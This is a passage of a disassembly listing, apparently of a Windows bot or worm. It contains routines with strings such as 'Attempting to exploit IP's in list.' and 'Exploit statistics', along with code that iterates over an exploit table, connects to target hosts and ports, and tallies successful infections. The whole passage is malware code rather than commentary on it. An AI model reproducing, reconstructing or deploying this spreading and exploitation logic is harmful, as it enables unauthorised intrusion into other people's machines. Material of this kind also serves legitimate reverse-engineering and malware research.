		fstp	[esp+774h+var_774]
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		push	offset unk_41CEA0
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		push	[ebp+var_8]
		call	sub_404FD0
		pop	ecx
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax


loc_413AAB:				; CODE XREF: sub_41349C+142j
					; sub_41349C+1ACj ...
		pop	edi
		leave
		retn	4
sub_41349C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413AB0	proc near		; CODE XREF: sub_40A9CF+BCBp

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		cmp	[ebp+arg_4], 0
		jz	short loc_413AC2
		cmp	[ebp+arg_8], 0
		jnz	short loc_413AC7


loc_413AC2:				; CODE XREF: sub_413AB0+Aj
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413AC7:				; CODE XREF: sub_413AB0+10j
		push	[ebp+arg_8]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_413AEB
		push	[ebp+arg_8]
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jnz	short loc_413AE9
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413AE9:				; CODE XREF: sub_413AB0+32j
		jmp	short loc_413B45
; ---------------------------------------------------------------------------


loc_413AEB:				; CODE XREF: sub_413AB0+25j
		and	[ebp+var_14], 0
		jmp	short loc_413AF8
; ---------------------------------------------------------------------------


loc_413AF1:				; CODE XREF: sub_413AB0:loc_413B43j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_413AF8:				; CODE XREF: sub_413AB0+3Fj
		mov	eax, [ebp+var_14]
		imul	eax, 3Ah
		movsx	eax, byte_41CD88[eax]
		test	eax, eax
		jnz	short loc_413B0E
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413B0E:				; CODE XREF: sub_413AB0+57j
		mov	eax, [ebp+var_14]
		imul	eax, 3Ah
		add	eax, offset byte_41CD88
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413B43
		jmp	short loc_413B45
; ---------------------------------------------------------------------------


loc_413B43:				; CODE XREF: sub_413AB0+8Fj
		jmp	short loc_413AF1
; ---------------------------------------------------------------------------


loc_413B45:				; CODE XREF: sub_413AB0:loc_413AE9j
					; sub_413AB0+91j
		cmp	[ebp+arg_C], 0
		jz	short loc_413B59
		push	[ebp+arg_C]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_2C], eax
		jmp	short loc_413B60
; ---------------------------------------------------------------------------


loc_413B59:				; CODE XREF: sub_413AB0+99j
		mov	[ebp+var_2C], 15180h


loc_413B60:				; CODE XREF: sub_413AB0+A7j
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_413B75
		cmp	[ebp+var_4], 15180h
		jbe	short loc_413B7C


loc_413B75:				; CODE XREF: sub_413AB0+BAj
		mov	[ebp+var_4], 15180h


loc_413B7C:				; CODE XREF: sub_413AB0+C3j
		cmp	[ebp+arg_10], 0
		jz	short loc_413B90
		push	[ebp+arg_10]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_30], eax
		jmp	short loc_413B97
; ---------------------------------------------------------------------------


loc_413B90:				; CODE XREF: sub_413AB0+D0j
		mov	[ebp+var_30], 7D0h


loc_413B97:				; CODE XREF: sub_413AB0+DEj
		mov	eax, [ebp+var_30]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 32h
		jb	short loc_413BAC
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_413BB3


loc_413BAC:				; CODE XREF: sub_413AB0+F1j
		mov	[ebp+var_C], 7D0h


loc_413BB3:				; CODE XREF: sub_413AB0+FAj
		cmp	[ebp+arg_14], 0
		jz	short loc_413BC7
		push	[ebp+arg_14]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_34], eax
		jmp	short loc_413BCE
; ---------------------------------------------------------------------------


loc_413BC7:				; CODE XREF: sub_413AB0+107j
		mov	[ebp+var_34], 100h


loc_413BCE:				; CODE XREF: sub_413AB0+115j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_413BE3
		cmp	[ebp+var_10], 200h
		jbe	short loc_413BEA


loc_413BE3:				; CODE XREF: sub_413AB0+128j
		mov	[ebp+var_10], 100h


loc_413BEA:				; CODE XREF: sub_413AB0+131j
		push	2C9h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413C03
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413C03:				; CODE XREF: sub_413AB0+14Cj
		push	108h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	0Eh
		push	[ebp+arg_8]
		mov	eax, [ebp+var_8]
		add	eax, 10Ch
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	[eax+11Ah], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	[eax+11Eh], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		mov	[eax+122h], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		add	eax, 126h
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+var_10]
		push	[ebp+var_C]
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+11Ah]
		mov	eax, [ebp+var_8]
		add	eax, 10Ch
		push	eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		push	offset unk_41CF5C
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_8]
		push	offset sub_41349C
		call	sub_4095A4
		add	esp, 24h

locret_413CB1:				; CODE XREF: sub_413AB0:loc_413AC2j
					; sub_413AB0+34j ...
		leave
		retn
sub_413AB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413CB3	proc near		; DATA XREF: sub_413FE7+5Co

var_49C		= dword	ptr -49Ch
var_498		= byte ptr -498h
var_494		= byte ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= byte ptr -47Ch
var_469		= byte ptr -469h
var_3BE		= dword	ptr -3BEh
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= byte ptr -32Ch
var_1AC		= byte ptr -1ACh
var_25		= byte ptr -25h
var_24		= byte ptr -24h
var_21		= byte ptr -21h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		push	327h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		mov	eax, [ebp+var_330]
		push	dword ptr [eax]
		push	offset unk_41D008
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	[ebp+var_334], 0
		and	[ebp+var_484], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_8], eax


loc_413D21:				; CODE XREF: sub_413CB3:loc_413FA8j
		mov	eax, [ebp+var_334]
		inc	eax
		mov	[ebp+var_334], eax
		and	[ebp+var_488], 0
		jmp	short loc_413D44
; ---------------------------------------------------------------------------


loc_413D37:				; CODE XREF: sub_413CB3+23Bj
					; sub_413CB3:loc_413F77j
		mov	eax, [ebp+var_488]
		inc	eax
		mov	[ebp+var_488], eax


loc_413D44:				; CODE XREF: sub_413CB3+82j
		mov	eax, [ebp+var_488]
		imul	eax, 3Ah
		cmp	off_41CDB6[eax], 0
		jz	loc_413F7C
		push	3Ah
		mov	eax, [ebp+var_488]
		imul	eax, 3Ah
		add	eax, offset byte_41CD88
		push	eax
		lea	eax, [ebp+var_47C]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+var_488]
		imul	eax, 3Ah
		add	eax, offset byte_41CD88
		mov	[ebp+var_480], eax
		lea	eax, [ebp+var_47C]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_469]
		push	eax
		call	sub_4105FB
		pop	ecx
		cmp	[ebp+var_480], 0
		jz	loc_413E9A
		mov	eax, [ebp+var_480]
		mov	eax, [eax+32h]
		and	eax, 1
		test	eax, eax
		jz	loc_413E9A
		call	sub_4042FB
		mov	[ebp+var_490], eax
		cmp	[ebp+var_490], 0
		jz	short loc_413DE9
		mov	[ebp+var_3BE], 2
		jmp	short loc_413DF3
; ---------------------------------------------------------------------------


loc_413DE9:				; CODE XREF: sub_413CB3+128j
		mov	[ebp+var_3BE], 3


loc_413DF3:				; CODE XREF: sub_413CB3+134j
		movsx	eax, [ebp+var_15]
		test	eax, eax
		jz	short loc_413E15
		mov	eax, [ebp+var_480]
		mov	eax, [eax+32h]
		and	eax, 2
		test	eax, eax
		jnz	short loc_413E15
		mov	[ebp+var_3BE], 1


loc_413E15:				; CODE XREF: sub_413CB3+146j
					; sub_413CB3+156j
		movsx	eax, [ebp+var_25]
		test	eax, eax
		jz	short loc_413E27
		mov	[ebp+var_3BE], 2


loc_413E27:				; CODE XREF: sub_413CB3+168j
		movsx	eax, [ebp+var_24]
		test	eax, eax
		jz	short loc_413E39
		mov	[ebp+var_3BE], 3


loc_413E39:				; CODE XREF: sub_413CB3+17Aj
		cmp	[ebp+var_3BE], 3
		jnz	short loc_413E55
		cmp	[ebp+var_490], 0
		jz	short loc_413E55
		mov	[ebp+var_3BE], 2


loc_413E55:				; CODE XREF: sub_413CB3+18Dj
					; sub_413CB3+196j
		cmp	[ebp+var_3BE], 3
		jnz	short loc_413E9A
		mov	al, [ebp+var_14]
		mov	[ebp+var_498], al
		mov	al, [ebp+var_21]
		mov	[ebp+var_494], al
		mov	[ebp+var_14], 1
		and	[ebp+var_21], 0
		push	0
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		mov	al, [ebp+var_498]
		mov	[ebp+var_14], al
		mov	al, [ebp+var_494]
		mov	[ebp+var_21], al


loc_413E9A:				; CODE XREF: sub_413CB3+FCj
					; sub_413CB3+110j ...
		movsx	eax, [ebp+var_13]
		neg	eax
		sbb	eax, eax
		and	eax, 1388h
		add	eax, 1388h
		push	eax
		push	0
		lea	eax, [ebp+var_469]
		push	eax
		push	[ebp+var_8]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_48C], eax
		cmp	[ebp+var_48C], 0
		jz	loc_413F77
		push	14Ch
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_49C], eax
		cmp	[ebp+var_49C], 0
		jnz	short loc_413EF3
		jmp	loc_413D37
; ---------------------------------------------------------------------------


loc_413EF3:				; CODE XREF: sub_413CB3+239j
		push	14Ch
		lea	eax, [ebp+var_480]
		push	eax
		push	[ebp+var_49C]
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+var_484]
		inc	eax
		mov	[ebp+var_484], eax
		mov	eax, [ebp+var_49C]
		mov	ecx, [ebp+var_48C]
		mov	[eax+3Eh], ecx
		push	[ebp+var_49C]
		push	offset sub_41331E
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413F59
		push	[ebp+var_48C]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_49C]
		call	sub_416B4C
		pop	ecx
		jmp	short loc_413F77
; ---------------------------------------------------------------------------


loc_413F59:				; CODE XREF: sub_413CB3+28Aj
		lea	eax, [ebp+var_47C]
		push	eax
		push	[ebp+var_8]
		push	offset dword_41CFD8
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_413F77:				; CODE XREF: sub_413CB3+21Bj
					; sub_413CB3+2A4j
		jmp	loc_413D37
; ---------------------------------------------------------------------------


loc_413F7C:				; CODE XREF: sub_413CB3+A1j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413F9A
		jmp	short loc_413FAD
; ---------------------------------------------------------------------------


loc_413F9A:				; CODE XREF: sub_413CB3+2E3j
		mov	eax, [ebp+var_330]
		cmp	dword ptr [eax+4], 0
		jz	short loc_413FA8
		jmp	short loc_413FAD
; ---------------------------------------------------------------------------


loc_413FA8:				; CODE XREF: sub_413CB3+2F1j
		jmp	loc_413D21
; ---------------------------------------------------------------------------


loc_413FAD:				; CODE XREF: sub_413CB3+2E5j
					; sub_413CB3+2F3j
		push	[ebp+var_334]
		push	[ebp+var_484]
		mov	eax, [ebp+var_330]
		push	dword ptr [eax]
		push	offset dword_41CF94
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	[ebp+var_330]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_413CB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413FE7	proc near		; CODE XREF: sub_40A9CF+B5Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_413FF3
		jmp	short locret_414050
; ---------------------------------------------------------------------------


loc_413FF3:				; CODE XREF: sub_413FE7+8j
		push	327h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414009
		jmp	short locret_414050
; ---------------------------------------------------------------------------


loc_414009:				; CODE XREF: sub_413FE7+1Ej
		push	180h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 184h
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	offset aAttemptingToEx ; "Attempting to	exploit	IP's in list."
		push	0
		push	[ebp+var_4]
		push	offset sub_413CB3
		call	sub_4095A4
		add	esp, 10h

locret_414050:				; CODE XREF: sub_413FE7+Aj
					; sub_413FE7+20j
		leave
		retn
sub_413FE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414052	proc near		; DATA XREF: sub_41417D+35o

var_3C0		= dword	ptr -3C0h
var_3BC		= byte ptr -3BCh
var_225		= byte ptr -225h
var_224		= byte ptr -224h
var_218		= byte ptr -218h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3C0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3C0]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		push	offset aExploitStatist ; "Exploit statistics - "
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		and	[ebp+var_204], 0
		jmp	short loc_4140A4
; ---------------------------------------------------------------------------


loc_414097:				; CODE XREF: sub_414052:loc_41414Aj
		mov	eax, [ebp+var_204]
		inc	eax
		mov	[ebp+var_204], eax


loc_4140A4:				; CODE XREF: sub_414052+43j
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		movsx	eax, byte_41CD88[eax]
		test	eax, eax
		jz	loc_41414F
		push	12h
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		add	eax, offset byte_41CD88
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		push	dword_41CDB2[eax]
		push	offset dword_41D05C
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40
		pop	ecx
		lea	eax, [ebp+eax+var_200]
		push	eax
		call	sub_416B5E
		add	esp, 0Ch
		movsx	eax, [ebp+var_225]
		test	eax, eax
		jz	short loc_41414A
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		and	dword_41CDB2[eax], 0


loc_41414A:				; CODE XREF: sub_414052+E6j
		jmp	loc_414097
; ---------------------------------------------------------------------------


loc_41414F:				; CODE XREF: sub_414052+64j
		and	[ebp+var_224], 0
		lea	eax, [ebp+var_200]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		push	[ebp+var_3C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_414052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41417D	proc near		; CODE XREF: sub_40A9CF+BF4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414197
		jmp	short locret_4141BF
; ---------------------------------------------------------------------------


loc_414197:				; CODE XREF: sub_41417D+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aListingExploit ; "Listing exploit statistics"
		push	0
		push	[ebp+var_4]
		push	offset sub_414052
		call	sub_4095A4
		add	esp, 10h

locret_4141BF:				; CODE XREF: sub_41417D+18j
		leave
		retn
sub_41417D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4141C1	proc near		; DATA XREF: sub_4142BF+E2o

var_2BC		= dword	ptr -2BCh
var_2B8		= byte ptr -2B8h
var_1B8		= byte ptr -1B8h
var_1B2		= dword	ptr -1B2h
var_1AE		= byte ptr -1AEh
var_16		= byte ptr -16h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2BCh
		push	2B1h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		call	sub_416B64
		mov	[ebp+var_4], eax
		push	[ebp+var_1B2]
		push	0
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41424F
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		call	sub_416B64
		sub	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		push	offset dword_41D108
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		jmp	short loc_4142AD
; ---------------------------------------------------------------------------


loc_41424F:				; CODE XREF: sub_4141C1+56j
		movsx	eax, [ebp+var_16]
		test	eax, eax
		jnz	short loc_4142AD
		call	sub_416B64
		sub	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1B2]
		jb	short loc_41428B
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		push	offset dword_41D0D0
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_4142AD
; ---------------------------------------------------------------------------


loc_41428B:				; CODE XREF: sub_4141C1+A4j
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		push	offset dword_41D0A0
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_4142AD:				; CODE XREF: sub_4141C1+8Cj
					; sub_4141C1+94j ...
		push	[ebp+var_2BC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_4141C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4142BF	proc near		; CODE XREF: sub_40A9CF+1B5Ep

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_4142D0
		jmp	locret_4143AE
; ---------------------------------------------------------------------------


loc_4142D0:				; CODE XREF: sub_4142BF+Aj
		cmp	[ebp+arg_8], 0
		jnz	short loc_4142DD
		mov	[ebp+arg_8], offset a80	; "80"


loc_4142DD:				; CODE XREF: sub_4142BF+15j
		push	[ebp+arg_8]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4142F8
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_4142FD


loc_4142F8:				; CODE XREF: sub_4142BF+2Ej
		jmp	locret_4143AE
; ---------------------------------------------------------------------------


loc_4142FD:				; CODE XREF: sub_4142BF+37j
		cmp	[ebp+arg_C], 0
		jz	short loc_414311
		push	[ebp+arg_C]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_10], eax
		jmp	short loc_414318
; ---------------------------------------------------------------------------


loc_414311:				; CODE XREF: sub_4142BF+42j
		mov	[ebp+var_10], 0EA60h


loc_414318:				; CODE XREF: sub_4142BF+50j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41432D
		cmp	[ebp+var_4], 36EE80h
		jbe	short loc_41432F


loc_41432D:				; CODE XREF: sub_4142BF+63j
		jmp	short locret_4143AE
; ---------------------------------------------------------------------------


loc_41432F:				; CODE XREF: sub_4142BF+6Cj
		push	2B1h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_414345
		jmp	short locret_4143AE
; ---------------------------------------------------------------------------


loc_414345:				; CODE XREF: sub_4142BF+82j
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_C]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	6
		push	[ebp+arg_8]
		mov	eax, [ebp+var_C]
		add	eax, 104h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	[eax+10Ah], ecx
		push	[ebp+arg_0]
		mov	eax, [ebp+var_C]
		add	eax, 10Eh
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	offset dword_41D138
		push	0
		push	[ebp+var_C]
		push	offset sub_4141C1
		call	sub_4095A4
		add	esp, 18h

locret_4143AE:				; CODE XREF: sub_4142BF+Cj
					; sub_4142BF:loc_4142F8j ...
		leave
		retn
sub_4142BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143B0	proc near		; DATA XREF: sub_414600+1D6o

var_2E8		= qword	ptr -2E8h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= byte ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= byte ptr -2CCh
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= byte ptr -2BCh
var_1BC		= word ptr -1BCh
var_1BA		= word ptr -1BAh
var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_18		= byte ptr -18h
var_C		= word ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2DCh
		push	2B3h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		mov	ax, [ebp+var_1BC]
		mov	[ebp+var_C], ax
		push	[ebp+var_1B4]
		call	sub_404D10
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_41440C
		push	[ebp+var_2C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4145FC
; ---------------------------------------------------------------------------


loc_41440C:				; CODE XREF: sub_4143B0+47j
		push	[ebp+var_1B4]
		movzx	eax, [ebp+var_1BA]
		push	eax
		movzx	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		mov	eax, [ebp+var_2C0]
		push	dword ptr [eax]
		push	offset dword_41D1A8
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	short loc_414458
		push	3E8h
		call	dword_41709C


loc_414458:				; CODE XREF: sub_4143B0+9Bj
		call	sub_416B64
		mov	[ebp+var_2C4], eax
		and	[ebp+var_4], 0


loc_414467:				; CODE XREF: sub_4143B0+13Aj
					; sub_4143B0+1F0j
		mov	eax, [ebp+var_2C0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_414482
		movzx	eax, [ebp+var_C]
		movzx	ecx, [ebp+var_1BA]
		cmp	eax, ecx
		jle	short loc_414487


loc_414482:				; CODE XREF: sub_4143B0+C1j
		jmp	loc_4145A5
; ---------------------------------------------------------------------------


loc_414487:				; CODE XREF: sub_4143B0+D0j
		push	0Ah
		lea	eax, [ebp+var_2CC]
		push	eax
		movzx	eax, [ebp+var_C]
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	[ebp+var_8]
		push	0
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_404FE7
		add	esp, 0Ch
		push	eax
		call	sub_404D4D
		pop	ecx
		pop	ecx
		mov	[ebp+var_2D0], eax
		mov	ax, [ebp+var_C]
		add	ax, 1
		mov	[ebp+var_C], ax
		cmp	[ebp+var_2D0], 0
		jz	short loc_4144EF
		movzx	eax, [ebp+var_C]
		movzx	ecx, [ebp+var_1BA]
		cmp	eax, ecx
		jg	short loc_4144EF
		jmp	loc_414467
; ---------------------------------------------------------------------------


loc_4144EF:				; CODE XREF: sub_4143B0+129j
					; sub_4143B0+138j
		push	[ebp+var_1B8]
		call	dword_41709C
		push	[ebp+var_8]
		call	sub_404E1C
		pop	ecx
		test	eax, eax
		jz	loc_414597


loc_41450C:				; CODE XREF: sub_4143B0+1E2j
		mov	eax, [ebp+var_2C0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41451A
		jmp	short loc_414597
; ---------------------------------------------------------------------------


loc_41451A:				; CODE XREF: sub_4143B0+166j
		push	[ebp+var_8]
		call	sub_404F24
		pop	ecx
		mov	[ebp+var_2D8], eax
		cmp	[ebp+var_2D8], 0
		jnz	short loc_414534
		jmp	short loc_414597
; ---------------------------------------------------------------------------


loc_414534:				; CODE XREF: sub_4143B0+180j
		lea	eax, [ebp+var_2CC]
		push	eax
		push	[ebp+var_2D8]
		call	sub_4045B2
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	al, [ebp+var_18]
		mov	[ebp+var_2D4], al
		and	[ebp+var_18], 0
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		push	offset dword_41D194
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	al, [ebp+var_2D4]
		mov	[ebp+var_18], al
		push	3E8h
		call	dword_41709C
		jmp	loc_41450C
; ---------------------------------------------------------------------------


loc_414597:				; CODE XREF: sub_4143B0+156j
					; sub_4143B0+168j ...
		push	[ebp+var_8]
		call	sub_404F7D
		pop	ecx
		jmp	loc_414467
; ---------------------------------------------------------------------------


loc_4145A5:				; CODE XREF: sub_4143B0:loc_414482j
		push	[ebp+var_4]
		call	sub_416B64
		sub	eax, [ebp+var_2C4]
		mov	[ebp+var_2DC], eax
